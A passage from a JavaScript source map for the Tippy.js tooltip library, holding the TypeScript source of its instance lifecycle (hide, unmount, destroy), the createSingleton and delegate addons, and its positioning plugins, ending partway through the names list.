(instance.props.animation && getIsDefaultRenderFn()) {\n onTransitionedIn(duration, () => {\n instance.state.isShown = true;\n invokeHook('onShown', [instance]);\n });\n }\n };\n\n mount();\n }\n\n function hide(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hide'));\n }\n\n // Early bail-out\n const isAlreadyHidden = !instance.state.isVisible;\n const isDestroyed = instance.state.isDestroyed;\n const isDisabled = !instance.state.isEnabled;\n const duration = getValueAtIndexOrReturn(\n instance.props.duration,\n 1,\n defaultProps.duration\n );\n\n if (isAlreadyHidden || isDestroyed || isDisabled) {\n return;\n }\n\n invokeHook('onHide', [instance], false);\n if (instance.props.onHide(instance) === false) {\n return;\n }\n\n instance.state.isVisible = false;\n instance.state.isShown = false;\n ignoreOnFirstUpdate = false;\n isVisibleFromClick = false;\n\n if (getIsDefaultRenderFn()) {\n popper.style.visibility = 'hidden';\n }\n\n cleanupInteractiveMouseListeners();\n removeDocumentPress();\n handleStyles(true);\n\n if (getIsDefaultRenderFn()) {\n const {box, content} = getDefaultTemplateChildren();\n\n if (instance.props.animation) {\n setTransitionDuration([box, content], duration);\n setVisibilityState([box, content], 'hidden');\n }\n }\n\n handleAriaContentAttribute();\n handleAriaExpandedAttribute();\n\n if (instance.props.animation) {\n if (getIsDefaultRenderFn()) {\n onTransitionedOut(duration, instance.unmount);\n }\n } else {\n instance.unmount();\n }\n }\n\n function hideWithInteractivity(event: MouseEvent): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(\n instance.state.isDestroyed,\n createMemoryLeakWarning('hideWithInteractivity')\n );\n }\n\n getDocument().addEventListener('mousemove', debouncedOnMouseMove);\n pushIfUnique(mouseMoveListeners, debouncedOnMouseMove);\n debouncedOnMouseMove(event);\n }\n\n function unmount(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('unmount'));\n }\n\n if (instance.state.isVisible) {\n instance.hide();\n }\n\n if (!instance.state.isMounted) {\n return;\n }\n\n destroyPopperInstance();\n\n // If a popper is not interactive, it will be appended outside the popper\n // tree by default. This seems mainly for interactive tippies, but we should\n // find a workaround if possible\n getNestedPopperTree().forEach((nestedPopper) => {\n nestedPopper._tippy!.unmount();\n });\n\n if (popper.parentNode) {\n popper.parentNode.removeChild(popper);\n }\n\n mountedInstances = mountedInstances.filter((i) => i !== instance);\n\n instance.state.isMounted = false;\n invokeHook('onHidden', [instance]);\n }\n\n function destroy(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('destroy'));\n }\n\n if (instance.state.isDestroyed) {\n return;\n }\n\n instance.clearDelayTimeouts();\n instance.unmount();\n\n removeListeners();\n\n delete reference._tippy;\n\n instance.state.isDestroyed = true;\n\n invokeHook('onDestroy', [instance]);\n }\n}\n","import bindGlobalEventListeners, {\n currentInput,\n} from './bindGlobalEventListeners';\nimport createTippy, {mountedInstances} from './createTippy';\nimport {getArrayOfElements, isElement, isReferenceElement} from './dom-utils';\nimport {defaultProps, setDefaultProps, validateProps} from './props';\nimport {HideAll, HideAllOptions, Instance, Props, Targets} from './types';\nimport {validateTargets, warnWhen} from './validation';\n\nfunction tippy(\n targets: Targets,\n optionalProps: Partial<Props> = {}\n): Instance | Instance[] {\n const plugins = defaultProps.plugins.concat(optionalProps.plugins || []);\n\n /* istanbul ignore else */\n if (__DEV__) {\n validateTargets(targets);\n validateProps(optionalProps, plugins);\n }\n\n bindGlobalEventListeners();\n\n const passedProps: Partial<Props> = {...optionalProps, plugins};\n\n const elements = getArrayOfElements(targets);\n\n /* istanbul ignore else */\n if (__DEV__) {\n const isSingleContentElement = isElement(passedProps.content);\n const isMoreThanOneReferenceElement = elements.length > 1;\n warnWhen(\n isSingleContentElement && isMoreThanOneReferenceElement,\n [\n 'tippy() was passed an Element as the `content` prop, but more than',\n 'one tippy instance was created by this invocation. This means the',\n 'content element will only be appended to the last tippy instance.',\n '\\n\\n',\n 'Instead, pass the .innerHTML of the element, or use a function that',\n 'returns a cloned version of the element instead.',\n '\\n\\n',\n '1) content: element.innerHTML\\n',\n '2) content: () => element.cloneNode(true)',\n ].join(' ')\n );\n }\n\n const instances = elements.reduce<Instance[]>(\n (acc, reference): Instance[] => {\n const instance = reference && createTippy(reference, passedProps);\n\n if (instance) {\n acc.push(instance);\n }\n\n return acc;\n },\n []\n );\n\n return isElement(targets) ? instances[0] : instances;\n}\n\ntippy.defaultProps = defaultProps;\ntippy.setDefaultProps = setDefaultProps;\ntippy.currentInput = currentInput;\n\nexport default tippy;\n\nexport const hideAll: HideAll = ({\n exclude: excludedReferenceOrInstance,\n duration,\n}: HideAllOptions = {}) => {\n mountedInstances.forEach((instance) => {\n let isExcluded = false;\n\n if (excludedReferenceOrInstance) {\n isExcluded = isReferenceElement(excludedReferenceOrInstance)\n ? instance.reference === excludedReferenceOrInstance\n : instance.popper === (excludedReferenceOrInstance as Instance).popper;\n }\n\n if (!isExcluded) {\n const originalDuration = instance.props.duration;\n\n instance.setProps({duration});\n instance.hide();\n\n if (!instance.state.isDestroyed) {\n instance.setProps({duration: originalDuration});\n }\n }\n });\n};\n","import tippy from '..';\nimport {div} from '../dom-utils';\nimport {\n CreateSingleton,\n Plugin,\n CreateSingletonProps,\n ReferenceElement,\n CreateSingletonInstance,\n Instance,\n Props,\n} from '../types';\nimport {normalizeToArray, removeProperties} from '../utils';\nimport {errorWhen} from '../validation';\nimport {applyStyles, Modifier} from '@popperjs/core';\n\n// The default `applyStyles` modifier has a cleanup function that gets called\n// every time the popper is destroyed (i.e. a new target), removing the styles\n// and causing transitions to break for singletons when the console is open, but\n// most notably for non-transform styles being used, `gpuAcceleration: false`.\nconst applyStylesModifier: Modifier<'applyStyles', Record<string, unknown>> = {\n ...applyStyles,\n effect({state}) {\n const initialStyles = {\n popper: {\n position: state.options.strategy,\n left: '0',\n top: '0',\n margin: '0',\n },\n arrow: {\n position: 'absolute',\n },\n reference: {},\n };\n\n Object.assign(state.elements.popper.style, initialStyles.popper);\n state.styles = initialStyles;\n\n if (state.elements.arrow) {\n Object.assign(state.elements.arrow.style, initialStyles.arrow);\n }\n\n // intentionally return no cleanup function\n // return () => { ... }\n },\n};\n\nconst createSingleton: CreateSingleton = (\n tippyInstances,\n optionalProps = {}\n) => {\n /* istanbul ignore else */\n if (__DEV__) {\n errorWhen(\n !Array.isArray(tippyInstances),\n [\n 'The first argument passed to createSingleton() must be an array of',\n 'tippy instances. The passed value was',\n String(tippyInstances),\n ].join(' ')\n );\n }\n\n let individualInstances = tippyInstances;\n let references: Array<ReferenceElement> = [];\n let triggerTargets: Array<Element> = [];\n let currentTarget: Element | null;\n let overrides = optionalProps.overrides;\n let interceptSetPropsCleanups: Array<() => void> = [];\n let shownOnCreate = false;\n\n function setTriggerTargets(): void {\n triggerTargets = individualInstances\n .map((instance) =>\n normalizeToArray(instance.props.triggerTarget || instance.reference)\n )\n .reduce((acc, item) => acc.concat(item), []);\n }\n\n function setReferences(): void {\n references = individualInstances.map((instance) => instance.reference);\n }\n\n function enableInstances(isEnabled: boolean): void {\n individualInstances.forEach((instance) => {\n if (isEnabled) {\n instance.enable();\n } else {\n instance.disable();\n }\n });\n }\n\n function interceptSetProps(singleton: Instance): Array<() => void> {\n return individualInstances.map((instance) => {\n const originalSetProps = instance.setProps;\n\n instance.setProps = (props): void => {\n originalSetProps(props);\n\n if (instance.reference === currentTarget) {\n singleton.setProps(props);\n }\n };\n\n return (): void => {\n instance.setProps = originalSetProps;\n };\n });\n }\n\n // have to pass singleton, as it maybe undefined on first call\n function prepareInstance(\n singleton: Instance,\n target: ReferenceElement\n ): void {\n const index = triggerTargets.indexOf(target);\n\n // bail-out\n if (target === currentTarget) {\n return;\n }\n\n currentTarget = target;\n\n const overrideProps: Partial<Props> = (overrides || [])\n .concat('content')\n .reduce((acc, prop) => {\n (acc as any)[prop] = individualInstances[index].props[prop];\n return acc;\n }, {});\n\n singleton.setProps({\n ...overrideProps,\n getReferenceClientRect:\n typeof overrideProps.getReferenceClientRect === 'function'\n ? overrideProps.getReferenceClientRect\n : (): ClientRect => references[index]?.getBoundingClientRect(),\n });\n }\n\n enableInstances(false);\n setReferences();\n setTriggerTargets();\n\n const plugin: Plugin = {\n fn() {\n return {\n onDestroy(): void {\n enableInstances(true);\n },\n onHidden(): void {\n currentTarget = null;\n },\n onClickOutside(instance): void {\n if (instance.props.showOnCreate && !shownOnCreate) {\n shownOnCreate = true;\n currentTarget = null;\n }\n },\n onShow(instance): void {\n if (instance.props.showOnCreate && !shownOnCreate) {\n shownOnCreate = true;\n prepareInstance(instance, references[0]);\n }\n },\n onTrigger(instance, event): void {\n prepareInstance(instance, event.currentTarget as Element);\n },\n };\n },\n };\n\n const singleton = tippy(div(), {\n ...removeProperties(optionalProps, ['overrides']),\n plugins: [plugin, ...(optionalProps.plugins || [])],\n triggerTarget: triggerTargets,\n popperOptions: {\n ...optionalProps.popperOptions,\n modifiers: [\n ...(optionalProps.popperOptions?.modifiers || []),\n applyStylesModifier,\n ],\n },\n }) as CreateSingletonInstance<CreateSingletonProps>;\n\n const originalShow = singleton.show;\n\n singleton.show = (target?: ReferenceElement | Instance | number): void => {\n originalShow();\n\n // first time, showOnCreate or programmatic call with no params\n // default to showing first instance\n if (!currentTarget && target == null) {\n return prepareInstance(singleton, references[0]);\n }\n\n // triggered from event (do nothing as prepareInstance already called by onTrigger)\n // programmatic call with no params when already visible (do nothing again)\n if (currentTarget && target == null) {\n return;\n }\n\n // target is index of instance\n if (typeof target === 'number') {\n return (\n references[target] && prepareInstance(singleton, references[target])\n );\n }\n\n // target is a child tippy instance\n if (individualInstances.indexOf(target as Instance) >= 0) {\n const ref = (target as Instance).reference;\n return prepareInstance(singleton, ref);\n }\n\n // target is a ReferenceElement\n if (references.indexOf(target as ReferenceElement) >= 0) {\n return prepareInstance(singleton, target as ReferenceElement);\n }\n };\n\n singleton.showNext = (): void => {\n const first = references[0];\n if (!currentTarget) {\n return singleton.show(0);\n }\n const index = references.indexOf(currentTarget);\n singleton.show(references[index + 1] || first);\n };\n\n singleton.showPrevious = (): void => {\n const last = references[references.length - 1];\n if (!currentTarget) {\n return singleton.show(last);\n }\n const index = references.indexOf(currentTarget);\n const target = references[index - 1] || last;\n singleton.show(target);\n };\n\n const originalSetProps = singleton.setProps;\n\n singleton.setProps = (props): void => {\n overrides = props.overrides || overrides;\n originalSetProps(props);\n };\n\n singleton.setInstances = (nextInstances): void => {\n enableInstances(true);\n interceptSetPropsCleanups.forEach((fn) => fn());\n\n individualInstances = nextInstances;\n\n enableInstances(false);\n setReferences();\n setTriggerTargets();\n interceptSetPropsCleanups = interceptSetProps(singleton);\n\n singleton.setProps({triggerTarget: triggerTargets});\n };\n\n interceptSetPropsCleanups = interceptSetProps(singleton);\n\n return singleton;\n};\n\nexport default createSingleton;\n","import tippy from '..';\nimport {TOUCH_OPTIONS} from '../constants';\nimport {defaultProps} from '../props';\nimport {Instance, Props, Targets} from '../types';\nimport {ListenerObject} from '../types-internal';\nimport {normalizeToArray, removeProperties} from '../utils';\nimport {errorWhen} from '../validation';\n\nconst BUBBLING_EVENTS_MAP = {\n mouseover: 'mouseenter',\n focusin: 'focus',\n click: 'click',\n};\n\n/**\n * Creates a delegate instance that controls the creation of tippy instances\n * for child elements (`target` CSS selector).\n */\nfunction delegate(\n targets: Targets,\n props: Partial<Props> & {target: string}\n): Instance | Instance[] {\n /* istanbul ignore else */\n if (__DEV__) {\n errorWhen(\n !(props && props.target),\n [\n 'You must specity a `target` prop indicating a CSS selector string matching',\n 'the target elements that should receive a tippy.',\n ].join(' ')\n );\n }\n\n let listeners: ListenerObject[] = [];\n let childTippyInstances: Instance[] = [];\n let disabled = false;\n\n const {target} = props;\n\n const nativeProps = removeProperties(props, ['target']);\n const parentProps = {...nativeProps, trigger: 'manual', touch: false};\n const childProps = {\n touch: defaultProps.touch,\n ...nativeProps,\n showOnCreate: true,\n };\n\n const returnValue = tippy(targets, parentProps);\n const normalizedReturnValue = normalizeToArray(returnValue);\n\n function onTrigger(event: Event): void {\n if (!event.target || disabled) {\n return;\n }\n\n const targetNode = (event.target as Element).closest(target);\n\n if (!targetNode) {\n return;\n }\n\n // Get relevant trigger with fallbacks:\n // 1. Check `data-tippy-trigger` attribute on target node\n // 2. Fallback to `trigger` passed to `delegate()`\n // 3. Fallback to `defaultProps.trigger`\n const trigger =\n targetNode.getAttribute('data-tippy-trigger') ||\n props.trigger ||\n defaultProps.trigger;\n\n // @ts-ignore\n if (targetNode._tippy) {\n return;\n }\n\n if (event.type === 'touchstart' && typeof childProps.touch === 'boolean') {\n return;\n }\n\n if (\n event.type !== 'touchstart' &&\n trigger.indexOf((BUBBLING_EVENTS_MAP as any)[event.type]) < 0\n ) {\n return;\n }\n\n const instance = tippy(targetNode, childProps);\n\n if (instance) {\n childTippyInstances = childTippyInstances.concat(instance);\n }\n }\n\n function on(\n node: Element,\n eventType: string,\n handler: EventListener,\n options: boolean | Record<string, unknown> = false\n ): void {\n node.addEventListener(eventType, handler, options);\n listeners.push({node, eventType, handler, options});\n }\n\n function addEventListeners(instance: Instance): void {\n const {reference} = instance;\n\n on(reference, 'touchstart', onTrigger, TOUCH_OPTIONS);\n on(reference, 'mouseover', onTrigger);\n on(reference, 'focusin', onTrigger);\n on(reference, 'click', onTrigger);\n }\n\n function removeEventListeners(): void {\n listeners.forEach(({node, eventType, handler, options}: ListenerObject) => {\n node.removeEventListener(eventType, handler, options);\n });\n listeners = [];\n }\n\n function applyMutations(instance: Instance): void {\n const originalDestroy = instance.destroy;\n const originalEnable = instance.enable;\n const originalDisable = instance.disable;\n\n instance.destroy = (shouldDestroyChildInstances = true): void => {\n if (shouldDestroyChildInstances) {\n childTippyInstances.forEach((instance) => {\n instance.destroy();\n });\n }\n\n childTippyInstances = [];\n\n removeEventListeners();\n originalDestroy();\n };\n\n instance.enable = (): void => {\n originalEnable();\n childTippyInstances.forEach((instance) => instance.enable());\n disabled = false;\n };\n\n instance.disable = (): void => {\n originalDisable();\n childTippyInstances.forEach((instance) => instance.disable());\n disabled = true;\n };\n\n addEventListeners(instance);\n }\n\n normalizedReturnValue.forEach(applyMutations);\n\n return returnValue;\n}\n\nexport default delegate;\n","import {BACKDROP_CLASS} from '../constants';\nimport {div, setVisibilityState} from '../dom-utils';\nimport {getChildren} from '../template';\nimport {AnimateFill} from '../types';\nimport {errorWhen} from '../validation';\n\nconst animateFill: AnimateFill = {\n name: 'animateFill',\n defaultValue: false,\n fn(instance) {\n // @ts-ignore\n if (!instance.props.render?.$$tippy) {\n if (__DEV__) {\n errorWhen(\n instance.props.animateFill,\n 'The `animateFill` plugin requires the default render function.'\n );\n }\n\n return {};\n }\n\n const {box, content} = getChildren(instance.popper);\n\n const backdrop = instance.props.animateFill\n ? createBackdropElement()\n : null;\n\n return {\n onCreate(): void {\n if (backdrop) {\n box.insertBefore(backdrop, box.firstElementChild!);\n box.setAttribute('data-animatefill', '');\n box.style.overflow = 'hidden';\n\n instance.setProps({arrow: false, animation: 'shift-away'});\n }\n },\n onMount(): void {\n if (backdrop) {\n const {transitionDuration} = box.style;\n const duration = Number(transitionDuration.replace('ms', ''));\n\n // The content should fade in after the backdrop has mostly filled the\n // tooltip element. `clip-path` is the other alternative but is not\n // well-supported and is buggy on some devices.\n content.style.transitionDelay = `${Math.round(duration / 10)}ms`;\n\n backdrop.style.transitionDuration = transitionDuration;\n setVisibilityState([backdrop], 'visible');\n }\n },\n onShow(): void {\n if (backdrop) {\n backdrop.style.transitionDuration = '0ms';\n }\n },\n onHide(): void {\n if (backdrop) {\n setVisibilityState([backdrop], 'hidden');\n }\n },\n };\n },\n};\n\nexport default animateFill;\n\nfunction createBackdropElement(): HTMLDivElement {\n const backdrop = div();\n backdrop.className = BACKDROP_CLASS;\n setVisibilityState([backdrop], 'hidden');\n return backdrop;\n}\n","import {getOwnerDocument, isMouseEvent} from '../dom-utils';\nimport {FollowCursor, Instance} from '../types';\n\nlet mouseCoords = {clientX: 0, clientY: 0};\nlet activeInstances: Array<{instance: Instance; doc: Document}> = [];\n\nfunction storeMouseCoords({clientX, clientY}: MouseEvent): void {\n mouseCoords = {clientX, clientY};\n}\n\nfunction addMouseCoordsListener(doc: Document): void {\n doc.addEventListener('mousemove', storeMouseCoords);\n}\n\nfunction removeMouseCoordsListener(doc: Document): void {\n doc.removeEventListener('mousemove', storeMouseCoords);\n}\n\nconst followCursor: FollowCursor = {\n name: 'followCursor',\n defaultValue: false,\n fn(instance) {\n const reference = instance.reference;\n const doc = getOwnerDocument(instance.props.triggerTarget || reference);\n\n let isInternalUpdate = false;\n let wasFocusEvent = false;\n let isUnmounted = true;\n let prevProps = instance.props;\n\n function getIsInitialBehavior(): boolean {\n return (\n instance.props.followCursor === 'initial' && instance.state.isVisible\n );\n }\n\n function addListener(): void {\n doc.addEventListener('mousemove', onMouseMove);\n }\n\n function removeListener(): void {\n doc.removeEventListener('mousemove', onMouseMove);\n }\n\n function unsetGetReferenceClientRect(): void {\n isInternalUpdate = true;\n instance.setProps({getReferenceClientRect: null});\n isInternalUpdate = false;\n }\n\n function onMouseMove(event: MouseEvent): void {\n // If the instance is interactive, avoid updating the position unless it's\n // over the reference element\n const isCursorOverReference = event.target\n ? reference.contains(event.target as Node)\n : true;\n const {followCursor} = instance.props;\n const {clientX, clientY} = event;\n\n const rect = reference.getBoundingClientRect();\n const relativeX = clientX - rect.left;\n const relativeY = clientY - rect.top;\n\n if (isCursorOverReference || !instance.props.interactive) {\n instance.setProps({\n // @ts-ignore - unneeded DOMRect properties\n getReferenceClientRect() {\n const rect = reference.getBoundingClientRect();\n\n let x = clientX;\n let y = clientY;\n\n if (followCursor === 'initial') {\n x = rect.left + relativeX;\n y = rect.top + relativeY;\n }\n\n const top = followCursor === 'horizontal' ? rect.top : y;\n const right = followCursor === 'vertical' ? rect.right : x;\n const bottom = followCursor === 'horizontal' ? rect.bottom : y;\n const left = followCursor === 'vertical' ? rect.left : x;\n\n return {\n width: right - left,\n height: bottom - top,\n top,\n right,\n bottom,\n left,\n };\n },\n });\n }\n }\n\n function create(): void {\n if (instance.props.followCursor) {\n activeInstances.push({instance, doc});\n addMouseCoordsListener(doc);\n }\n }\n\n function destroy(): void {\n activeInstances = activeInstances.filter(\n (data) => data.instance !== instance\n );\n\n if (activeInstances.filter((data) => data.doc === doc).length === 0) {\n removeMouseCoordsListener(doc);\n }\n }\n\n return {\n onCreate: create,\n onDestroy: destroy,\n onBeforeUpdate(): void {\n prevProps = instance.props;\n },\n onAfterUpdate(_, {followCursor}): void {\n if (isInternalUpdate) {\n return;\n }\n\n if (\n followCursor !== undefined &&\n prevProps.followCursor !== followCursor\n ) {\n destroy();\n\n if (followCursor) {\n create();\n\n if (\n instance.state.isMounted &&\n !wasFocusEvent &&\n !getIsInitialBehavior()\n ) {\n addListener();\n }\n } else {\n removeListener();\n unsetGetReferenceClientRect();\n }\n }\n },\n onMount(): void {\n if (instance.props.followCursor && !wasFocusEvent) {\n if (isUnmounted) {\n onMouseMove(mouseCoords as MouseEvent);\n isUnmounted = false;\n }\n\n if (!getIsInitialBehavior()) {\n addListener();\n }\n }\n },\n onTrigger(_, event): void {\n if (isMouseEvent(event)) {\n mouseCoords = {clientX: event.clientX, clientY: event.clientY};\n }\n wasFocusEvent = event.type === 'focus';\n },\n onHidden(): void {\n if (instance.props.followCursor) {\n unsetGetReferenceClientRect();\n removeListener();\n isUnmounted = true;\n }\n },\n };\n },\n};\n\nexport default followCursor;\n","import {Modifier, Placement} from '@popperjs/core';\nimport {isMouseEvent} from '../dom-utils';\nimport {BasePlacement, InlinePositioning, Props} from '../types';\nimport {arrayFrom, getBasePlacement} from '../utils';\n\nfunction getProps(props: Props, modifier: Modifier<any, any>): Partial<Props> {\n return {\n popperOptions: {\n ...props.popperOptions,\n modifiers: [\n ...(props.popperOptions?.modifiers || []).filter(\n ({name}) => name !== modifier.name\n ),\n modifier,\n ],\n },\n };\n}\n\nconst inlinePositioning: InlinePositioning = {\n name: 'inlinePositioning',\n defaultValue: false,\n fn(instance) {\n const {reference} = instance;\n\n function isEnabled(): boolean {\n return !!instance.props.inlinePositioning;\n }\n\n let placement: Placement;\n let cursorRectIndex = -1;\n let isInternalUpdate = false;\n let triedPlacements: Array<string> = [];\n\n const modifier: Modifier<\n 'tippyInlinePositioning',\n Record<string, unknown>\n > = {\n name: 'tippyInlinePositioning',\n enabled: true,\n phase: 'afterWrite',\n fn({state}) {\n if (isEnabled()) {\n if (triedPlacements.indexOf(state.placement) !== -1) {\n triedPlacements = [];\n }\n\n if (\n placement !== state.placement &&\n triedPlacements.indexOf(state.placement) === -1\n ) {\n triedPlacements.push(state.placement);\n instance.setProps({\n // @ts-ignore - unneeded DOMRect properties\n getReferenceClientRect: () =>\n getReferenceClientRect(state.placement),\n });\n }\n\n placement = state.placement;\n }\n },\n };\n\n function getReferenceClientRect(placement: Placement): Partial<DOMRect> {\n return getInlineBoundingClientRect(\n getBasePlacement(placement),\n reference.getBoundingClientRect(),\n arrayFrom(reference.getClientRects()),\n cursorRectIndex\n );\n }\n\n function setInternalProps(partialProps: Partial<Props>): void {\n isInternalUpdate = true;\n instance.setProps(partialProps);\n isInternalUpdate = false;\n }\n\n function addModifier(): void {\n if (!isInternalUpdate) {\n setInternalProps(getProps(instance.props, modifier));\n }\n }\n\n return {\n onCreate: addModifier,\n onAfterUpdate: addModifier,\n onTrigger(_, event): void {\n if (isMouseEvent(event)) {\n const rects = arrayFrom(instance.reference.getClientRects());\n const cursorRect = rects.find(\n (rect) =>\n rect.left - 2 <= event.clientX &&\n rect.right + 2 >= event.clientX &&\n rect.top - 2 <= event.clientY &&\n rect.bottom + 2 >= event.clientY\n );\n const index = rects.indexOf(cursorRect);\n cursorRectIndex = index > -1 ? index : cursorRectIndex;\n }\n },\n onHidden(): void {\n cursorRectIndex = -1;\n },\n };\n },\n};\n\nexport default inlinePositioning;\n\nexport function getInlineBoundingClientRect(\n currentBasePlacement: BasePlacement | null,\n boundingRect: DOMRect,\n clientRects: DOMRect[],\n cursorRectIndex: number\n): {\n top: number;\n bottom: number;\n left: number;\n right: number;\n width: number;\n height: number;\n} {\n // Not an inline element, or placement is not yet known\n if (clientRects.length < 2 || currentBasePlacement === null) {\n return boundingRect;\n }\n\n // There are two rects and they are disjoined\n if (\n clientRects.length === 2 &&\n cursorRectIndex >= 0 &&\n clientRects[0].left > clientRects[1].right\n ) {\n return clientRects[cursorRectIndex] || boundingRect;\n }\n\n switch (currentBasePlacement) {\n case 'top':\n case 'bottom': {\n const firstRect = clientRects[0];\n const lastRect = clientRects[clientRects.length - 1];\n const isTop = currentBasePlacement === 'top';\n\n const top = firstRect.top;\n const bottom = lastRect.bottom;\n const left = isTop ? firstRect.left : lastRect.left;\n const right = isTop ? firstRect.right : lastRect.right;\n const width = right - left;\n const height = bottom - top;\n\n return {top, bottom, left, right, width, height};\n }\n case 'left':\n case 'right': {\n const minLeft = Math.min(...clientRects.map((rects) => rects.left));\n const maxRight = Math.max(...clientRects.map((rects) => rects.right));\n const measureRects = clientRects.filter((rect) =>\n currentBasePlacement === 'left'\n ? rect.left === minLeft\n : rect.right === maxRight\n );\n\n const top = measureRects[0].top;\n const bottom = measureRects[measureRects.length - 1].bottom;\n const left = minLeft;\n const right = maxRight;\n const width = right - left;\n const height = bottom - top;\n\n return {top, bottom, left, right, width, height};\n }\n default: {\n return boundingRect;\n }\n }\n}\n","import {VirtualElement} from '@popperjs/core';\nimport {ReferenceElement, Sticky} from '../types';\n\nconst sticky: Sticky = {\n name: 'sticky',\n defaultValue: false,\n fn(instance) {\n const {reference, popper} = instance;\n\n function getReference(): ReferenceElement | VirtualElement {\n return instance.popperInstance\n ? instance.popperInstance.state.elements.reference\n : reference;\n }\n\n function shouldCheck(value: 'reference' | 'popper'): boolean {\n return instance.props.sticky === true || instance.props.sticky === value;\n }\n\n let prevRefRect: ClientRect | null = null;\n let prevPopRect: ClientRect | null = null;\n\n function updatePosition(): void {\n const currentRefRect = shouldCheck('reference')\n ? getReference().getBoundingClientRect()\n : null;\n const currentPopRect = shouldCheck('popper')\n ? popper.getBoundingClientRect()\n : null;\n\n if (\n (currentRefRect && areRectsDifferent(prevRefRect, currentRefRect)) ||\n (currentPopRect && areRectsDifferent(prevPopRect, currentPopRect))\n ) {\n if (instance.popperInstance) {\n instance.popperInstance.update();\n }\n }\n\n prevRefRect = currentRefRect;\n prevPopRect = currentPopRect;\n\n if (instance.state.isMounted) {\n requestAnimationFrame(updatePosition);\n }\n }\n\n return {\n onMount(): void {\n if (instance.props.sticky) {\n updatePosition();\n }\n },\n };\n },\n};\n\nexport default sticky;\n\nfunction areRectsDifferent(\n rectA: ClientRect | null,\n rectB: ClientRect | null\n): boolean {\n if (rectA && rectB) {\n return (\n rectA.top !== rectB.top ||\n rectA.right !== rectB.right ||\n rectA.bottom !== rectB.bottom ||\n rectA.left !== rectB.left\n );\n }\n\n return true;\n}\n","import tippy, {hideAll} from '../src';\nimport createSingleton from '../src/addons/createSingleton';\nimport delegate from '../src/addons/delegate';\nimport animateFill from '../src/plugins/animateFill';\nimport followCursor from '../src/plugins/followCursor';\nimport inlinePositioning from '../src/plugins/inlinePositioning';\nimport sticky from '../src/plugins/sticky';\nimport {ROUND_ARROW} from '../src/constants';\nimport {render} from '../src/template';\n\ntippy.setDefaultProps({\n plugins: [animateFill, followCursor, inlinePositioning, sticky],\n render,\n});\n\ntippy.createSingleton = createSingleton;\ntippy.delegate = delegate;\ntippy.hideAll = hideAll;\ntippy.roundArrow = ROUND_ARROW;\n\nexport default tippy;\n"],"names":["ROUND_ARROW","BOX_CLASS","CONTENT_CLASS","BACKDROP_CLASS","ARROW_CLASS","SVG_ARROW_CLASS","TOUCH_OPTIONS","passive","capture","TIPPY_DEFAULT_APPEND_TO","document","body","hasOwnProperty","obj","key","call","getValueAtIndexOrReturn","value","index","defaultValue","Array","isArray","v","isType","type","str","toString","indexOf","invokeWithArgsOrReturn","args","debounce","fn","ms","timeout","arg","clearTimeout","setTimeout","removeProperties","keys","clone","forEach","splitBySpaces","split","filter","Boolean","normalizeToArray","concat","pushIfUnique","arr","push","unique","item","getBasePlacement","placement","arrayFrom","slice","removeUndefinedProps","Object","reduce","acc","undefined","div","createElement","isElement","some","isNodeList","isMouseEvent","isReferenceElement","_tippy","reference","getArrayOfElements","querySelectorAll","setTransitionDuration","els","el","style","transitionDuration","setVisibilityState","state","setAttribute","getOwnerDocument","elementOrElements","element","ownerDocument","isCursorOutsideInteractiveBorder","popperTreeData","event","clientX","clientY","every","popperRect","popperState","props","interactiveBorder","basePlacement","offsetData","modifiersData","offset","topDistance","top","y","bottomDistance","bottom","leftDistance","left","x","rightDistance","right","exceedsTop","exceedsBottom","exceedsLeft","exceedsRight","updateTransitionEndListener","box","action","listener","method","actualContains","parent","child","target","contains","getRootNode","host","currentInput","isTouch","lastMouseMoveTime","onDocumentTouchStart","window","performance","addEventListener","onDocumentMouseMove","now","removeEventListener","onWindowBlur","activeElement","instance","blur","isVisible","bindGlobalEventListeners","isBrowser","isIE11","msCrypto","createMemoryLeakWarning","txt","join","clean","spacesAndTabs","lineStartWithSpaces","replace","trim","getDevMessage","message","getFormattedMessage","visitedMessages","resetVisitedMessages","Set","warnWhen","condition","has","add","console","warn","errorWhen","error","validateTargets","targets","didPassFalsyValue","didPassPlainObject","prototype","String","pluginProps","animateFill","followCursor","inlinePositioning","sticky","renderProps","allowHTML","animation","arrow","content","inertia","maxWidth","role","theme","zIndex","defaultProps","appendTo","aria","expanded","delay","duration","getReferenceClientRect","hideOnClick","ignoreAttributes","interactive","interactiveDebounce","moveTransition","onAfterUpdate","onBeforeUpdate","onCreate","onDestroy","onHidden","onHide","onMount","onShow","onShown","onTrigger","onUntrigger","onClickOutside","plugins","popperOptions","render","showOnCreate","touch","trigger","triggerTarget","defaultKeys","setDefaultProps","partialProps","validateProps","getExtendedPassedProps","passedProps","plugin","name","getDataAttributeProps","propKeys","valueAsString","getAttribute","JSON","parse","e","evaluateProps","out","prop","nonPluginProps","didPassUnknownProp","length","innerHTML","dangerouslySetInnerHTML","html","createArrowElement","className","appendChild","setContent","textContent","getChildren","popper","firstElementChild","boxChildren","children","find","node","classList","backdrop","onUpdate","prevProps","nextProps","removeAttribute","removeChild","$$tippy","idCounter","mouseMoveListeners","mountedInstances","createTippy","showTimeout","hideTimeout","scheduleHideAnimationFrame","isVisibleFromClick","didHideDueToDocumentMouseDown","didTouchMove","ignoreOnFirstUpdate","lastTriggerEvent","currentTransitionEndListener","onFirstUpdate","listeners","debouncedOnMouseMove","onMouseMove","currentTarget","id","popperInstance","isEnabled","isDestroyed","isMounted","isShown","clearDelayTimeouts","setProps","show","hide","hideWithInteractivity","enable","disable","unmount","destroy","pluginsHooks","map","hasAriaExpanded","hasAttribute","addListeners","handleAriaExpandedAttribute","handleStyles","invokeHook","scheduleShow","getDocument","getNormalizedTouchSettings","getIsCustomTouchBehavior","getIsDefaultRenderFn","getCurrentTarget","parentNode","getDefaultTemplateChildren","getDelay","isShow","fromHide","pointerEvents","hook","shouldInvokePropsHook","pluginHooks","handleAriaContentAttribute","attr","nodes","currentValue","nextValue","cleanupInteractiveMouseListeners","onDocumentPress","actualTarget","composedPath","removeDocumentPress","onTouchMove","onTouchStart","addDocumentPress","doc","onTransitionedOut","callback","onTransitionEnd","onTransitionedIn","on","eventType","handler","options","onMouseLeave","onBlurOrFocusOut","removeListeners","shouldScheduleClickHide","isEventListenerStopped","wasFocused","scheduleHide","isCursorOverReferenc